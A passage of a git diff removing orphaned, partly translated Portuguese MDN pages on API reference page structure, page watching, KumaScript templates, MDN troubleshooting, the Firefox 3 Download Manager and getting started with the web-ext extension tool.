-<p><strong>Nota</strong>: We'll be referring to the <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a> for examples in this article.</p>
-</div>
-
-<div class="note">
-<p><strong>Nota</strong>: To create a page as specified below, the easiest way is to go to the parent page you want it to hang off, and choose <em>Cog icon &gt; New sub-article</em>. If you haven't got this option available on your MDN interface, you'll need to request this privilege (ask at <code>mdn-admins@mozilla.org</code>), or ask another MDN contributor to create them for you.</p>
-</div>
-
-<h3 id="Página_de_sinopse">Página de sinopse</h3>
-
-<p>A single API overview page is used to describe the role of the API, its top-level interfaces, related features contained in other interfaces, and other high level details. Its name and slug should be the name of the API plus "API" on the end. It is placed at the top level of the API reference, as a child of <a href="/en-US/docs/Web/API">https://developer.mozilla.org/en-US/docs/Web/API</a>.</p>
-
-<p>Example:</p>
-
-<ul>
- <li>Title: <em>Web Audio API</em></li>
- <li>Slug: <em>Web_Audio_API</em></li>
- <li>URL: <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API">https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API</a></li>
-</ul>
-
-<h3 id="Páginas_da_interface">Páginas da interface</h3>
-
-<p>Each interface will have its own page too, describing the purpose of the interface, listing any members (constructors, methods, properties, etc. it contains), and showing what browsers it is compatible with. A page's name and slug should be the name of the interface, exactly as written in the spec. Each page is placed at the top level of the API reference, as a child of <a href="/en-US/docs/Web/API">https://developer.mozilla.org/en-US/docs/Web/API</a>.</p>
-
-<p>Exemplos:</p>
-
-<ul>
- <li>Title: <em>AudioContext</em></li>
- <li>Slug: <em>AudioContext</em></li>
- <li>URL: <a href="https://developer.mozilla.org/en-US/docs/Web/API/AudioContext">https://developer.mozilla.org/en-US/docs/Web/API/AudioContext</a></li>
-</ul>
-
-<ul>
- <li>Title: <em>AudioNode</em></li>
- <li>Slug: <em>AudioNode</em></li>
- <li>URL: <a href="https://developer.mozilla.org/en-US/docs/Web/API/AudioNode">https://developer.mozilla.org/en-US/docs/Web/API/AudioNode</a></li>
-</ul>
-
-<div class="note">
-<p><strong>Nota:</strong> We document every member appearing in the interface. You should bear the following rules in mind:</p>
-
-<ul>
- <li>We document methods defined on the <u>prototype</u> of an object implementing this interface (instance methods), and methods defined on the actual class itself (static methods). On the rare occasions that they both exist on the same interface, you should list them in separate sections on the page (Static methods/Instance methods). Usually only instance methods exist, in which case you can put these under the title "Methods".</li>
- <li>We do not document inherited properties and methods of the interface: they are listed on the respective parent interface. We do hint at their existence though.</li>
- <li>We do document properties and methods defined in mixins, though we use the mixin name as interface name. (This is not optimal as the mixin name will not appear in the console, but it prevents the duplication of documentation. We may revisit this in the future.)</li>
- <li>Special methods like the stringfier (<code>toString()</code>) and the jsonizier (<code>toJSON()</code>) are also listed if they do exist.</li>
- <li>Named constructors (like <code>Image()</code>  for {{domxref("HTMLImageElement")}} ) are also listed, if relevant.</li>
-</ul>
-</div>
-
-<h3 id="Páginas_de_constructor">Páginas de <em>constructor</em></h3>
-
-<p>Each interface has 0 or 1 constructors, documented on a subpage of the interface's page. It describes the purpose of the constructor and shows what its syntax looks like, usage examples, browser compatibility information, etc. Its slug is the name of the constructor, which is exactly the same as the interface name, and the title is interface name, dot, constructor name, then parentheses on the end.</p>
-
-<p>Example:</p>
-
-<ul>
- <li>Title: <em>AudioContext.AudioContext()</em></li>
- <li>Slug: <em>AudioContext</em></li>
- <li>URL: <a href="https://developer.mozilla.org/en-US/docs/Web/API/AudioContext/AudioContext">https://developer.mozilla.org/en-US/docs/Web/API/AudioContext/AudioContext</a></li>
-</ul>
-
-<h3 id="Páginas_de_propriedade">Páginas de propriedade</h3>
-
-<p>Each interface has zero or more properties, documented on subpages of the interface's page. each page describes the purpose of the property and shows what its syntax looks like, usage examples, browser compatibility information, etc. Its slug is the name of the property, and the title is interface name, dot, then property name.</p>
-
-<p>Examples:</p>
-
-<ul>
- <li>Title: <em>AudioContext.state</em></li>
- <li>Slug: <em>state</em></li>
- <li>URL: <a href="/en-US/docs/Web/API/AudioContext/state">https://developer.mozilla.org/en-US/docs/Web/API/AudioContext/state</a></li>
-</ul>
-
-<ul>
- <li>Title: <em>AudioContext.onstatechange</em></li>
- <li>Slug: <em>onstatechange</em></li>
- <li>URL: <a href="/en-US/docs/Web/API/AudioContext/onstatechange">https://developer.mozilla.org/en-US/docs/Web/API/AudioContext/onstatechange</a></li>
-</ul>
-
-<div class="note">
-<p><strong>Nota:</strong> Event handler properties are treated in the same way as regular properties; they are generally listed in a separate section on the interface page though.</p>
-</div>
-
-<ul>
-</ul>
-
-<h3 id="Páginas_de_método">Páginas de método</h3>
-
-<p>Each interface has zero or more methods, documented on subpages of the interface's page. each page describes the purpose of the method and shows what its syntax looks like, usage examples, browser compatibility information, etc. Its slug is the name of the method, and the title is interface name, dot, method name, then parentheses.</p>
-
-<p>Examples:</p>
-
-<ul>
- <li>Title: <em>AudioContext.close()</em></li>
- <li>Slug: <em>close</em></li>
- <li>URL: <a href="/en-US/docs/Web/API/AudioContext/close">https://developer.mozilla.org/en-US/docs/Web/API/AudioContext/close</a></li>
-</ul>
-
-<ul>
- <li>Title: <em>AudioContext.createGain()</em></li>
- <li>Slug: <em>createGain</em></li>
- <li>URL: <a href="/en-US/docs/Web/API/AudioContext/createGain">https://developer.mozilla.org/en-US/docs/Web/API/AudioContext/createGain</a></li>
-</ul>
-
-<h3 id="Páginas_de_evento">Páginas de evento</h3>
-
-<p>Each event handler property you create will have a corresponding event page, describing the event that causes the handler to fire, documented on a subpage of <a href="/en-US/docs/Web/Events">https://developer.mozilla.org/en-US/docs/Web/Events</a>. Each page describes the purpose of the event and shows what its syntax looks like, usage examples, browser compatibility information, etc. Its slug and title is the name of the event.</p>
-
-<p>Example:</p>
-
-<ul>
- <li>Title: <em>statechange</em></li>
- <li>Slug: <em>statechange</em></li>
- <li>URL: <a href="/en-US/docs/Web/Events/statechange">https://developer.mozilla.org/en-US/docs/Web/Events/statechange</a></li>
-</ul>
-
-<h3 id="Páginas_de_conceitoguia">Páginas de conceito/guia</h3>
-
-<p>Most API references have at least one guide and sometimes also a concept page to accompany it. At minimum, an API reference should contain a guide called "Using the <em>name-of-api</em>", which will provide a basic guide to how to use the API. More complex APIs may require multiple usage guides to explain how to use different aspects of the API.</p>
-
-<p>If required, you can also including a concepts article called "<em>name-of-api</em> concepts", which will provide explanation of the theory behind any concepts related to the API that developers should understand to effectively use it.</p>
-
-<p>These articles should all be created as subpages of the API overview page. For example, the Web Audio has four guides and a concept article:</p>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API</a></li>
- <li><a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API</a></li>
- <li><a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialization_basics">https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialization_basics</a></li>
- <li><a href="/en-US/docs/Web/API/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext">https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext</a></li>
- <li><a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API">https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API</a></li>
-</ul>
-
-<h3 id="Exemplos">Exemplos</h3>
-
-<p>You should create some examples that demonstrate at least the most common use cases of the API. You can put these anywhere that is appropriate, although the recommended place is the <a href="https://github.com/mdn/">MDN GitHub repo</a>.</p>
diff --git a/files/pt-pt/orphaned/mdn/tools/page_watching/index.html b/files/pt-pt/orphaned/mdn/tools/page_watching/index.html
deleted file mode 100644
index 8d5855a4ab..0000000000
--- a/files/pt-pt/orphaned/mdn/tools/page_watching/index.html
+++ /dev/null
@@ -1,50 +0,0 @@
----
-title: Subscrição de página
-slug: orphaned/MDN/Tools/Page_watching
-tags:
- - Ferramentas
- - Guia(2)
- - Metadados MDN
- - Nível de Página
-translation_of: MDN/Tools/Page_watching
-original_slug: MDN/Tools/Vigiar_pagina
----
-<div>{{MDNSidebar}}</div>
-
-<p><span class="seoSummary">A great way to stay involved with content on MDN that you care about is to subscribe to pages, so that you're notified via email when the pages get changed.</span> Every page on MDN offers a button offering options to monitor the page (and optionally its subpages) for changes. To access these options, hover over the Watch button to disclose the Watch menu, which looks like this:</p>
-
-<p><img alt="Screenshot of MDN's Watch menu" src="https://mdn.mozillademos.org/files/12551/MDN_-_Watch_Menu.png" style="height: 298px; width: 463px;"></p>
-
-<p>Then choose the option specifying whether to watch only that one page or that page and its sub-pages, as described in the following sections.</p>
-
-<h2 id="Subscrever_uma_página">Subscrever uma página</h2>
-
-<p>To subscribe to a single page, simply hover the mouse cursor over the Watch menu to display the Watch menu as described above, then select the first option, "Subscribe to <em>Page Title</em>". Once you've done this, each time a user makes a change to that one page, you'll get email describing the change.</p>
-
-<h2 id="Vigiar_várias_páginas">Vigiar várias páginas</h2>
-
-<p>Choosing the second option in the Watch menu, "Subscribe to <em>Page Title</em> and all its sub-articles", will register you to receive email for each change made to that page as well as all of its sub-pages. This includes sub-pages added after you requested the subscription, so if more sub-pages are created in the future, you'll get notifications for those as well.</p>
-
-<h2 id="Cancelar_a_subscriçção_de_uma_página">Cancelar a subscriçção de uma página</h2>
-
-<p>If you eventually need to unsubscribe from, or stop watching, a page, open the Watch menu again, and see that the "Subscribe" link has changed to "Unsubscribe." Click that, and you're unsubscribed!</p>
-
-<h2 id="Mensagens_de_alteração_de_página">Mensagens de alteração de página</h2>
-
-<p>Each time a change is saved to the page, you'll get an email. These emails come from notifications@developer.mozilla.org and are sent to the email address you used when registering your MDN account. Each message has a title of the form:</p>
-
-<pre class="notranslate">[MDN] Page "<em>Page title</em>" changed by <em>username</em></pre>
-
-<p>The message starts with a repeat of the information in the title, then presents a standard diff of the content, showing exactly what changed. The changes are shown as HTML source code, which can be a little weird to read if you're not used to it in the context of MDN.</p>
-
-<p>After the diff itself comes a list of useful links that you can use to act on the change in some way, including:</p>
-
-<ul>
- <li>View the MDN profile of the user that made the change</li>
- <li>Compare the previous and new versions of the page using MDN's on-site history feature</li>
- <li>View the article itself in your browser</li>
- <li>Edit the article</li>
- <li>See the article's history</li>
-</ul>
-
-<p>At the end of the email you see text telling you what subscription generated the email, such as "You are subscribed to edits on: HTML element reference and all its sub-articles", as well as a link you can click to unsubscribe from the messages for this watch request.</p>
diff --git a/files/pt-pt/orphaned/mdn/tools/template_editing/index.html b/files/pt-pt/orphaned/mdn/tools/template_editing/index.html
deleted file mode 100644
index 4a83a96a2f..0000000000
--- a/files/pt-pt/orphaned/mdn/tools/template_editing/index.html
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: Edição de modelo
-slug: orphaned/MDN/Tools/Template_editing
-tags:
- - Ferramentas
- - Guía
- - Metadados MDN
-translation_of: MDN/Tools/Template_editing
-original_slug: MDN/Tools/Edição_de_modelo
----
-<div>{{MDNSidebar}}</div><p>Na MDN, os modelos esccritos em <a href="/pt-PT/docs/MDN/Contribute/Tools/KumaScript">KumaScript</a> são utilziados por uma geração de conteúdo automatizado e personalização dentro das páginas. Cada modelo é um ficheiro separado sob <a href="https://github.com/mozilla/kumascript/tree/master/macros">a diretoria de macros do repositório de KumaScript no GitHub</a>.</p>
-
-<p>Qualquer pessoa que edite páginas da wiki da MDN podem invocar modelos via <span class="seoSummary"> </span> <span class="seoSummary"> <a href="/pt-PT/docs/MDN/Contribute/Structures/Macros">macros</a> nos artigos da MDN.Qualquer pessoa pode criar e editar modelos via <a href="https://github.com/mozilla/kumascript">repositório de KumaScript no GitHub, </a>utilizando práticas de código aberto padrão (<em>fork</em> repositório, criar um ramo, efetuar alterações, e submeter um pedido de submissão para revisão). </span> Note que enviar um pedido de submissão é atualmente a única maneira para atualizar as <em>strings</em> traduzidas nos modelos que as contêm .</p>
diff --git a/files/pt-pt/orphaned/mdn/troubleshooting/index.html b/files/pt-pt/orphaned/mdn/troubleshooting/index.html
deleted file mode 100644
index a4e89f6f28..0000000000
--- a/files/pt-pt/orphaned/mdn/troubleshooting/index.html
+++ /dev/null
@@ -1,72 +0,0 @@
----
-title: Resolução de Problemas
-slug: orphaned/MDN/Troubleshooting
-tags:
- - resolução de problemas
-translation_of: MDN/Troubleshooting
-original_slug: MDN/Troubleshooting
----
-<div>{{MDNSidebar}}</div><p>Este artigo descreve problemas comuns que podem ocorrer durante a utilização da MDN, e como os resolver.</p>
-
-<h2 id="Não_consegue_guardar_uma_página">Não consegue guardar uma página</h2>
-
-<dl>
- <dt>Sintoma</dt>
- <dd>You try to save some change that you have made, and you get an error message indicating that your change couldn't be saved.</dd>
- <dt>Causa</dt>
- <dd>Your change has been caught in MDN's spam trap.</dd>
- <dt>Solução</dt>
- <dd>Save a copy of your revision, and send an email to the <a href="mailto://mdn-admins@mozilla.org">MDN site administrators</a>, as instructed in the error message. One of the admins will verify that it is, in fact, a legitimate change, then train the spam filter not to block edits like yours, and add you to a whitelist so that you don't encounter this problem in the future.</dd>
-</dl>
-
-<h2 id="As_suas_alterações_não_aparecem_na_página">As suas alterações não aparecem na página</h2>
-
-<dl>
- <dt>Sintoma</dt>
- <dd>You make some changes to an article and click <strong>Publish</strong>; the changes that you just made are not reflected in the normal view of the page.</dd>
- <dt>Causa</dt>
- <dd>The page content is cached on the server, and has not been refreshed since the page was changed.</dd>
- <dt>Solução</dt>
- <dd>Force a refresh of the page in your browser (for example, Shift+Reload). You might see the updated content, or you might see a message indicating that an update to the page is being processed. In the second case, wait a few minutes and refresh the page again.</dd>
-</dl>
-
-<h2 id="Macro-generated_content_is_out_of_date">Macro-generated content is out of date</h2>
-
-<dl>
- <dt>Sintoma</dt>
- <dd>You see a page that contains content generated by a macro. You know that this macro has been updated and put into production, but the page is showing outdated values.</dd>
- <dt>Causa</dt>
- <dd>The macro output is cached, and has not been refreshed since the macro was updated.</dd>
- <dt>Solução</dt>
- <dd>Force a refresh of the page in your browser (for example, Shift+Reload). You might see the updated output, or you might see a message indicating that an update to the page is being processed. In the second case, wait a few minutes and refresh the page again.</dd>
-</dl>
-
-<h2 id="Erro_de_scripting_numa_página">Erro de <em>scripting</em> numa página</h2>
-
-<dl>
- <dt>Sintoma</dt>
- <dd>You see a scary red box like this on a page:<br>
- <img alt="There was a scripting error on this page. While it is being addressed by site editors, you can view partial content below. More information about this error" src="https://mdn.mozillademos.org/files/15259/macro_error_box.png" style="height: 114px; width: 590px;"></dd>
- <dt>Causa</dt>
- <dd>This is caused by a Kumascript error in a macro on the page. This issue is less common in production now that macros are stored on Github and go through a review and testing process before being put into production. You might see it if you modify a macro call or its arguments in a way that breaks the macros. You might also see it  if you are editing macros on a local build of the MDN platform.</dd>
- <dt>Solução</dt>
- <dd>If you modified a macro call, you can check the name and parameters of the macro against the <a href="https://github.com/mdn/kumascript/tree/master/macros">Kumascript Github repo</a>. If you are in the midst of modifying the macro in question, <a href="/en-US/docs/MDN/Contribute/Tools/KumaScript/Troubleshooting">Troubleshooting Kumascript errors</a> may be helpful.</dd>
-</dl>
-
-<h2 id="Scripting_error_while_previewing_a_page">Scripting error while previewing a page</h2>
-
-<dl>
- <dt>Sintoma</dt>
- <dd>You are editing a page, and click the <strong>Preview</strong> button. The preview of the page contains a scripting error message (as shown in the previous section).</dd>
- <dt>Causa</dt>
- <dd>Either there was an existing scripting error in the page you were editing, or you have introduced an error, possibly by changing arguments to a macro.</dd>
- <dt>Solução</dt>
- <dd>
- <p>Be assured that as long as you have not modified or added any macros or templates in the page, you can safely ignore this error; you can expect it to go away when the edited page is finally saved and viewed normally again (unless the error was already there in the normal view).</p>
-
- <p>If you are still unsure whether <em>you</em> introduced the error, then you can open a <em>copy</em> of the normal page in a new window, enter Edit mode, and immediately click <strong>Preview</strong>. If any errors occur now, you can be confident that you did not cause them, and that they will likely disappear as previously described. As for your changes, if these new errors are the same as the old errors from the old window, then  close the new window and continue working in the old one.  However, if they are different errors, then you indeed might have damaged something in the old window, so just start carefully copying your changes to the new window, and click <strong>Preview</strong> after each copy.  If the old errors suddenly appear here too, then your last changes have likely caused them, and you should carefully examine that work.  Finally, as a side benefit, if you click <strong>Preview</strong> frequently and always leave that Preview window open, you will have a quick but unsaved copy of most of your changes in case the editor fails or somehow loses your work (as may happen when trying to use Discard.)</p>
-
- <p> </p>
- </dd>
- <dt> </dt>
-</dl>
diff --git a/files/pt-pt/orphaned/melhorias_do_gerenciador_de_downloads_no_firefox_3/index.html b/files/pt-pt/orphaned/melhorias_do_gerenciador_de_downloads_no_firefox_3/index.html
deleted file mode 100644
index 9a68b0c3a3..0000000000
--- a/files/pt-pt/orphaned/melhorias_do_gerenciador_de_downloads_no_firefox_3/index.html
+++ /dev/null
@@ -1,22 +0,0 @@
----
-title: Melhorias do Gerenciador de Downloads no Firefox 3
-slug: orphaned/Melhorias_do_Gerenciador_de_Downloads_no_Firefox_3
-tags:
- - Firefox 3
- - Gerenciador_de_Downloads
-original_slug: Melhorias_do_Gerenciador_de_Downloads_no_Firefox_3
----
-<p>O Firefox 3 oferece melhoramentos ao Gerenciador de Downloads que permitem múltiplas <em>listas de progresso</em>, o uso da API <a href="/en/Storage">Storage</a> para gerenciamento de dados, resumo do download e mais. Em adição, você pode aumentar ou substituir a interface do Gerenciador de Downloads implementando a nova interface {{ Interface("nsIDownloadManagerUI") }}.</p>
-<p>{{ Note("Estas mudanças irão exigir algumas modestas revisões para usar o código do Gerenciador de Downloads; vários outros métodos tiveram mudanças menores.") }}</p>
-<h3 id="Interfaces_do_Gerenciador_de_Downloads" name="Interfaces_do_Gerenciador_de_Downloads">Interfaces do Gerenciador de Downloads</h3>
-<dl> <dt>{{ Interface("nsIDownloadManager") }}</dt> <dd>Dá acesso a aplicações e extensões do Gerenciador de Downloads, o que lhes permite adicionar e remover arquivos da lista de download, recuperar informações sobre downloads passados e atuais, e solicitar notificações quanto ao progresso dos downloads.</dd> <dt>{{ Interface("nsIDownload") }}</dt> <dd>Descreve um arquivo na fila de download; estes arquivos podem correntemente estar listados para donwload, ativamente sendo baixados ou finalizados.</dd> <dt>{{ Interface("nsIDownloadProgressListener") }}</dt> <dd>Aplicações e extensões implementam esta interface das mudanças no estado dos downloads.</dd> <dt>{{ Interface("nsIDownloadManagerUI") }}</dt> <dd>Implementa esta interface a substituir ou aumentar a interface de usuário do Gerenciador de Downloads.</dd>
-</dl>
-<h3 id="Outra_documenta.C3.A7.C3.A3o_do_Gerenciador_de_Downloads" name="Outra_documenta.C3.A7.C3.A3o_do_Gerenciador_de_Downloads">Outra documentação do Gerenciador de Downloads</h3>
-<dl> <dt><a href="/en/Download_Manager_preferences">Download Manager preferences</a></dt> <dd>Este artigo lista as preferências usadas pelo Gerenciador de Downloads, bem como os seus valores padrão.</dd> <dt><a href="/en/The_Download_Manager_schema">The Download Manager schema</a></dt> <dd>Este artigo descreve o formato de banco de dados usado para armazenar e rastrear as informações sobre cada download.</dd>
-</dl>
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-<dl> <dt><a href="/en/Monitoring_downloads">Monitoring downloads</a></dt> <dd>Um exemplo mostrando como usar as novas APIs do Gerenciador de Downloads para criar uma janela de log do download que mostra todos os downloads passados e atuais e seus estados, incluindo a hora em que foram iniciados e finalizados, a velocidade do download e mais. Também demonstra a API <a href="/en/Storage">Storage</a>.</dd>
-</dl>
-<p><span class="comment">Categorias</span></p>
-<p><span class="comment">Interwiki Language Links</span></p>
-<p>{{ languages( { "en": "en/Download_Manager_improvements_in_Firefox_3", "ja": "ja/Download_Manager_improvements_in_Firefox_3" } ) }}</p>
diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/getting_started_with_web-ext/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/getting_started_with_web-ext/index.html
deleted file mode 100644
index 9e93d69a4c..0000000000
--- a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/getting_started_with_web-ext/index.html
+++ /dev/null
@@ -1,305 +0,0 @@
----
-title: Primeiros passos com web-ext
-slug: orphaned/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext
-tags:
- - Extensão da Web
- - Ferramentas
- - Guía
- - Instalação
- - Testes
- - empacotamento
- - web-ext
-translation_of: Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext
-original_slug: Mozilla/Add-ons/WebExtensions/Primeiros_passos_com_web-ext
----
-<div>{{AddonSidebar}}</div>
-
-<p class="summary">web-ext é uma ferramenta da linha de comando desenhada para acelerar várias partes do processo de desenvolvimento da extensão, tornado o desenvolvimento mais rápido e fácil. Este artigo explica como instalar e utilizar web-ext.</p>
-
-<h2 id="Instalação">Instalação</h2>
-
-<p>web-ext is a node-based application that you install with the <a href="https://nodejs.org/">nodejs/npm</a> tool. Install web-ext using the following command:</p>
-
-<pre class="brush: bash"><code>npm install --global web-ext</code></pre>
-
-<p>web-ext requires the current <a href="https://github.com/nodejs/Release#release-schedule">LTS</a> (long-term support) version of <a href="https://nodejs.org/">NodeJS</a>.</p>
-
-<p>To test whether the installation worked run the following command, which displays the web-ext version number:</p>
-
-<pre class="brush: bash"><code>web-ext --version</code></pre>
-
-<h2 id="Utilizar_web-ext">Utilizar web-ext</h2>
-
-<p>Before you start using web-ext, locate an example extension to use—if you don't have one, use one from the <a href="https://github.com/mdn/webextensions-examples">webextensions-examples</a> repo.</p>
-
-<h3 id="Testar_uma_extensão">Testar uma extensão</h3>
-
-<p>Test an extension in Firefox by <code>cd</code>'ing into your extension's root directory and entering:</p>
-
-<pre class="brush: bash"><code>web-ext run</code></pre>
-
-<p>This starts Firefox and loads the extension temporarily in the browser, just as you can on the <a href="/en-US/docs/Tools/about:debugging#Add-ons">about:debugging page</a>.</p>
-
-<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_run">run reference guide</a> to learn more.</p>
-
-<h3 id="Recarregamento_automático_da_extensão">Recarregamento automático da extensão</h3>
-
-<p>The <code>run</code> command watches your source files and tells Firefox to reload the extension after you edit and save a file. For example, if you changed the <code>name</code> property in your <code>manifest.json</code> file, Firefox displays the new name. This makes it easy to try out new features because you can see the effect immediately. The automatic reloading feature is active by default, you use it like this:</p>
-
-<pre class="brush: bash"><code>web-ext run</code></pre>
-
-<p>You can also press the <code>r</code> key in the <code>web-ext</code> terminal to trigger an extension reload.</p>
-
-<p>If you experience unexpected behavior with the reloading feature, please <a href="https://github.com/mozilla/web-ext/issues">file a bug</a>. You can also disable reloading like this:</p>
-
-<pre class="brush: bash"><code>web-ext run --no-reload</code></pre>
-
-<div class="note">
-<p>O reccaregamento da extensão só é suportado a paratir da versão do Firefox 49 ou superior .</p>
-</div>
-
-<h3 id="Testar_em_versões_diferentes_do_Firefox">Testar em versões diferentes do Firefox</h3>
-
-<p>To run your extension in a version of <a href="https://www.mozilla.org/en-US/firefox/">Firefox Desktop</a> other than the default, use the <code>--firefox</code> option to specify a full path to the binary file. Here is an example for Mac OS:</p>
-
-<pre class="brush: bash">web-ext run --firefox=/Applications/FirefoxNightly.app/Contents/MacOS/firefox-bin</pre>
-
-<p>On Windows, the path needs to include <code>firefox.exe</code>, for example:</p>
-
-<pre class="brush: bash">web-ext run --firefox="C:\Program Files\Mozilla Firefox\firefox.exe"</pre>
-
-<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_run">run command</a> reference to learn more.</p>
-
-<h3 id="Testar_no_Firefox_48">Testar no Firefox 48</h3>
-
-<p>Firefox 48 was the first stable version to use the WebExtension platform, but it doesn't allow <code>web-ext</code> to install an extension remotely. You need to run your extension in Firefox 48 using:</p>
-
-<pre class="brush: bash">web-ext run --pre-install</pre>
-
-<h3 id="Testar_no_Firefox_para_Android">Testar no Firefox para Android</h3>
-
-<p>To run your extension in <a href="https://www.mozilla.org/en-US/firefox/mobile/">Firefox for Android</a>, follow these instructions to <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Developing_WebExtensions_for_Firefox_for_Android#Set_up_your_computer_and_Android_emulator_or_device">set up your computer and device</a>.</p>
-
-<p>With your device connected to your development computer, run:</p>
-
-<pre class="brush: bash">web-ext run --target=firefox-android</pre>
-
-<p>This command displays the device ID for your connected Android device or devices. If you don't see a list of device IDs, make sure you set up the device for development correctly.</p>
-
-<p><span style="background-color: #ffffff;">N</span>ow, add the device ID to the command:</p>
-
-<pre class="brush: bash">web-ext run --target=firefox-android --android-device=&lt;device ID&gt;</pre>
-
-<p>If you've multiple versions of Firefox installed, you may need to choose a specific version. For example:</p>
-
-<pre class="brush: bash">web-ext run --target=firefox-android ... --firefox-apk=org.mozilla.firefox</pre>
-
-<p>The first time you run this command, you may need to grant Android permissions for the APK. This is because the command needs read / write access to the device storage, so that Firefox for Android can run on a temporary profile. The <code>web-ext</code> output guides you in how to grant these permissions.</p>
-
-<p>The <code>web-ext</code> command does not alter any of your existing Firefox for Android preferences or data. To see more information about how <code>web-ext</code> is interacting with your device, run the command with <code>--verbose</code>.</p>
-
-<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_run">run command</a> reference to learn more.</p>
-
-<h3 id="Depurar_no_Firefox_para_Android">Depurar no Firefox para Android</h3>
-
-<p>When using <code>web-ext run</code> to test an extension on Firefox for Android, you'll notice a message like this in the console output:</p>
-
-<pre>You can connect to this Android device on TCP port 51499
-</pre>
-
-<p>This is a remote debugger port that you can <a href="/en-US/docs/Tools/Remote_Debugging/Firefox_for_Android#Connecting">connect to with Firefox's developer tools</a>. In this case, you'd connect to host <code>localhost</code> on port <code>51499</code>.</p>
-
-<p>See <a href="/en-US/Add-ons/WebExtensions/Developing_WebExtensions_for_Firefox_for_Android#Debug_your_extension">this guide</a> for more information about debugging an extension on Firefox for Android.</p>
-
-<h3 id="Testar_extensões_não_assinadas">Testar extensões não assinadas</h3>
-
-<p>When you execute <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_run">web-ext run</a>, the extension gets installed temporarily until you close Firefox. This does not violate any signing restrictions. If instead you create a zip file with <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_build">web-ext build</a> and try to install it into Firefox, you will see an error telling you that the add-on is not signed. You will need to use an <a href="https://wiki.mozilla.org/Addons/Extension_Signing#Unbranded_Builds">unbranded build</a> or use a <a href="https://www.mozilla.org/en-US/firefox/developer/">development build</a> to install unsigned extensions.</p>
-
-<h3 id="Utilizar_um_perfil_personalizado">Utilizar um perfil personalizado</h3>
-
-<p>By default, the <code>run</code> command will create a temporary Firefox profile. To run your extension with a specific profile use the <code>--firefox-profile</code> option, like this:</p>
-
-<pre class="brush: bash">web-ext run --firefox-profile=your-custom-profile</pre>
-
-<p>This option accepts a string containing the name of your profile or an absolute path to the profile directory. This is helpful if you want to manually configure some settings that will always be available to the <code>run</code> command.</p>
-
-<h3 id="Manter_alterações_de_perfil">Manter alterações de perfil</h3>
-
-<p>The <code>run</code> command does not save any changes made to the custom profile specified by <code>--firefox-profile</code>. To keep changes, add this option:</p>
-
-<pre class="brush: bash">web-ext run --keep-profile-changes --firefox-profile=your-custom-profile</pre>
-
-<p>This may be helpful if your extension has many different run states.</p>
-
-<div class="warning">
-<p>This option makes the profile specified by <code>--firefox-profile</code> completely insecure for daily use. It turns off auto-updates and allows silent remote connections, among other things. Specifically, it will make destructive changes to the profile that are required for <code>web-ext</code> to operate.</p>
-</div>
-
-<h3 id="Empacotar_a_sua_extensão">Empacotar a sua extensão</h3>
-
-<p>Once you've tested your extension and verified that it's working, you can turn it into a package for submitting to <a href="https://addons.mozilla.org">addons.mozilla.org</a> using the following command:</p>
-
-<pre class="brush: bash"><code>web-ext build</code></pre>
-
-<p>This outputs a full path to the generated <code>.zip</code> file that can be loaded into a browser.</p>
-
-<div class="warning">
-<p>The generated <code>.zip</code> file doesn't work on Firefox without signing or adding <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/applications">applications</a>.gecko.id</code> key into <code><a href="/en-US/Add-ons/WebExtensions/manifest.json">manifest.json</a></code>.  For more information, please refer <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID">WebExtensions and the Add-on ID</a> page.</p>
-</div>
-
-<p><code>web-ext build</code> is designed to ignore files that are commonly not wanted in packages, such as <code>.git</code>, <code>node_modules</code>, and other artifacts.</p>
-
-<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_build">build reference guide</a> to learn more.</p>
-
-<h3 id="Assinar_a_sua_extensão_para_distribuição">Assinar a sua extensão para distribuição</h3>
-
-<p>As an alternative to publishing your extension on <a href="https://addons.mozilla.org/">addons.mozilla.org</a>, you can self-host your package file but it needs to be <a href="https://developer.mozilla.org/Add-ons/Distribution">signed by Mozilla</a> first. The following command packages and signs a ZIP file, then returns it as a signed XPI file for distribution:</p>
-
-<pre class="brush: bash"><code>web-ext sign --api-key=$AMO_JWT_ISSUER --api-secret=$AMO_JWT_SECRET </code></pre>
-
-<p>The API options are required to specify your <a href="https://addons.mozilla.org/en-US/developers/addon/api/key/">addons.mozilla.org credentials</a>.</p>
-
-<ul>
- <li><code>--api-key</code>: the API key (JWT issuer) from <code>addons.mozilla.org</code> needed to sign the extension. This is a string that will look something like <code>user:12345:67</code>.</li>
- <li><code>--api-secret</code>: the API secret (JWT secret) from <code>addons.mozilla.org</code> needed to sign the extension. This is a string that will look something like <code>634f34bee43611d2f3c0fd8c06220ac780cff681a578092001183ab62c04e009</code>.</li>
